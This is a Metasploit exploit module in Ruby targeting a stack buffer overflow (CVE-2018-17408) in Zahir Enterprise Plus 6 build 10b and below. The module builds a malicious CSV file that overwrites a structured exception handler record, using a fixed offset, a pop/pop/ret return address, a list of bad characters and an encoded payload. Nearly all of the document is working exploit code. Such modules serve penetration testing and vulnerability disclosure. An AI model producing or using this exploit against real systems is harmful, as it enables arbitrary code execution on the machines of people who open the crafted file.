##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Seh
def initialize(info={})
super(update_info(info,
'Name' => "Zahir Enterprise Plus 6 Stack Buffer Overflow",
'Description' => %q{
This module exploits a stack buffer overflow in Zahir Enterprise Plus version 6 build 10b and below.
The vulnerability is triggered when opening a CSV file containing CR/LF and overly long string characters
via Import from other File. This results in overwriting a structured exception handler record.
},
'License' => MSF_LICENSE,
'Author' =>
[
'f3ci', # initial discovery
'modpr0be' # poc and Metasploit Module
],
'References' =>
[
[ 'CVE', '2018-17408' ],
[ 'EDB', '45505' ]
],
'Platform' => 'win',
'Targets' =>
[
['Zahir Enterprise Plus 6 <= build 10b',
{
#P/P/R from vclie100.bpl (C:\Program Files\Zahir Personal 6 - Demo Version\vclie100.bpl)
'Ret' => 0x52016661,
'Offset' => 3041
}
]
],
'Payload' =>
{
'Space' => 5000,
'BadChars' => "\x00\x0a\x0d\x22\x2c",
'DisableNops' => true
},
'DisclosureDate' => 'Sep 28 2018',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [true, 'The malicious file name', 'msf.csv'])
])
end
def exploit
buf = rand_text_alpha_upper(target['Offset'])
buf << "\r\n" # crash chars
buf << rand_text_alpha_upper(380) # extra chars to hit the offset
buf << generate_seh_record(target.ret)
buf << payload.encoded
file_create(buf)
end
end
